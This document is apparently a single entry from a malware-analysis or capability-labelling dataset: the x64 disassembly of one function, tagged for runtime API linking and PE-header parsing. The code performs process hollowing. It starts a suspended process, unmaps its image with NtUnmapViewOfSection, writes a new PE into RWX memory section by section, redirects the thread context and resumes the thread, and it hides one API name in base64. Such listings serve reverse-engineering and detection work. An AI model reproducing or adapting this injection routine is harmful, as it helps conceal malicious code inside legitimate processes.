Function at 0x1100276a0
Capabilities:
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x2e0]
mov qword [rbp - 0x288], rbx
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], r8
mov rcx, qword [rbp - 8]
call fcn.110005440
mov rcx, qword [rbp - 0x10]
call fcn.1100087e0
mov qword [rbp - 0x280], 0
mov qword [rbp - 0x278], 0
mov qword [rbp - 0x270], 0
mov qword [rbp - 0x268], 0
nop
mov byte [rbp - 0x1c], 0
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x5c]
mov r8d, 0x40
call fcn.110014e30
cmp word [rbp - 0x5c], 0x5a4d
jne 0x110027c68
mov rdx, qword [rbp - 0x10]
movsxd rax, dword [rbp - 0x20]
add rdx, rax
lea rcx, [rbp - 0x168]
mov r8d, 0x108
call dbg.MOVE_DA
cmp dword [rbp - 0x168], 0x4550
jne 0x110027c68
lea rcx, [rbp - 0x210]
xor r8d, r8d
mov edx, 0x68
call fcn.110002900
lea rcx, [rbp - 0x1a8]
xor r8d, r8d
mov edx, 0x18
call fcn.110002900
mov dword [rbp - 0x210], 0x68
lea rcx, [0x11003dac8]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x250], rax
xor r8b, r8b
lea rdx, [0x11003daf0]
lea rcx, [rbp - 0x268]
call fcn.110030b90
mov rdx, qword [rbp - 0x268]
test rdx, rdx
jne 0x1100277bc
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9b0], rax
mov rcx, qword [rbp - 0x250]
lea rdx, [0x11003db08]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba10], rax
mov rcx, qword [rbp - 0x250]
lea rdx, [0x11003db20]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba20], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x1a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x210]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp - 8]
test rdx, rdx
jne 0x11002784d
lea rdx, [0x110051480]
xor r9, r9
xor r8, r8
xor ecx, ecx
call qword [0x11015b9b0]
test eax, eax
je 0x110027c68
mov rcx, qword [rbp - 0x250]
lea rdx, str.VirtualAlloc
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9d0], rax
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [0x11015b9d0]
mov qword [rbp - 0x218], rax
mov dword [rax + 0x30], 0x10001f
mov rdx, qword [rbp - 0x218]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11015ba10]
test eax, eax
je 0x110027c68
lea rcx, [0x11003dac8]
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x250], rax
xor r8b, r8b
lea rdx, str.UmVhZFByb2Nlc3NNZW1vcnk
lea rcx, [rbp - 0x270]
call fcn.110030b90
mov rdx, qword [rbp - 0x270]
test rdx, rdx
jne 0x1100278fc
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba40], rax
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x218]
mov rax, qword [rax + 0x88]
lea rdx, [rax + 0x100]
lea r8, [rbp - 0x240]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 4
call qword [0x11015ba40]
mov rcx, qword [rbp - 0x250]
lea rdx, [0x11003db80]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9c0], rax
xor r8b, r8b
lea rdx, [0x11003dba8]
lea rcx, [rbp - 0x278]
call fcn.110030b90
mov rdx, qword [rbp - 0x278]
test rdx, rdx
jne 0x11002798d
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba30], rax
lea rcx, str.ntdll.dll
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x260], rax
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015ba50], rax
lea rcx, str.ntdll.dll
call sub.kernel32.dll_LoadLibraryA
mov qword [rbp - 0x258], rax
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9e0], rax
xor r8b, r8b
lea rdx, [0x11003dc18]
lea rcx, [rbp - 0x280]
call fcn.110030b90
mov rdx, qword [rbp - 0x280]
test rdx, rdx
jne 0x110027a1b
lea rdx, [0x110051480]
mov rcx, qword [rbp - 0x250]
call sub.kernel32.dll_GetProcAddress
mov qword [0x11015b9f0], rax
mov rax, qword [rbp - 0x138]
cmp rax, qword [rbp - 0x240]
jne 0x110027ab9
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
call qword [0x11015b9e0]
test eax, eax
jne 0x110027a8c
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
call qword [0x11015b9c0]
mov qword [rbp - 0x228], rax
jmp 0x110027ae9
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
xor edx, edx
call qword [0x11015b9c0]
mov qword [rbp - 0x228], rax
jmp 0x110027ae9
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x118]
mov rdx, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 0x3000
call qword [0x11015b9c0]
mov qword [rbp - 0x228], rax
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x114]
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x1a8]
mov rdx, qword [rbp - 0x228]
call qword [0x11015b9f0]
mov eax, dword [rbp - 0x20]
add eax, 0x108
mov dword [rbp - 0x244], eax
movzx ebx, word [rbp - 0x162]
sub ebx, 1
test ebx, ebx
jl 0x110027bf4
mov dword [rbp - 0x234], 0xffffffff
nop
add dword [rbp - 0x234], 1
mov rcx, qword [rbp - 0x10]
movsxd rdx, dword [rbp - 0x234]
imul rdx, rdx, 0x28
mov eax, dword [rbp - 0x244]
add rax, rdx
lea rdx, [rcx + rax]
lea rcx, [rbp - 0x190]
mov r8d, 0x28
call dbg.MOVE_DA
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 0x17c]
lea r8, [rax + rdx]
mov edx, dword [rbp - 0x184]
add rdx, qword [rbp - 0x228]
mov r9d, dword [rbp - 0x180]
mov rcx, qword [rbp - 0x1a8]
call qword [0x11015b9f0]
lea rax, [rbp - 0x230]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x218]
mov rax, qword [rax + 0x88]
lea rdx, [rax + 0x10]
lea r8, [rbp - 0x228]
mov rcx, qword [rbp - 0x1a8]
mov r9d, 8
call qword [0x11015b9f0]
cmp ebx, dword [rbp - 0x234]
jg 0x110027b40
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [0x11015b9d0]
mov qword [rbp - 0x220], rax
mov dword [rax + 0x30], 0x100002
mov ecx, 0x7d0
call fcn.11002f6d0
mov edx, dword [rbp - 0x140]
add rdx, qword [rbp - 0x228]
mov rax, qword [rbp - 0x220]
mov qword [rax + 0x80], rdx
mov rdx, qword [rbp - 0x220]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11015ba20]
mov rcx, qword [rbp - 0x1a0]
call qword [0x11015ba30]
mov byte [rbp - 0x1c], 1
nop dword [rax]
nop
mov rcx, rbp
call dbg.fin$00000005
mov al, byte [rbp - 0x1c]
mov rbx, qword [rbp - 0x288]
lea rsp, [rbp]
pop rbp
ret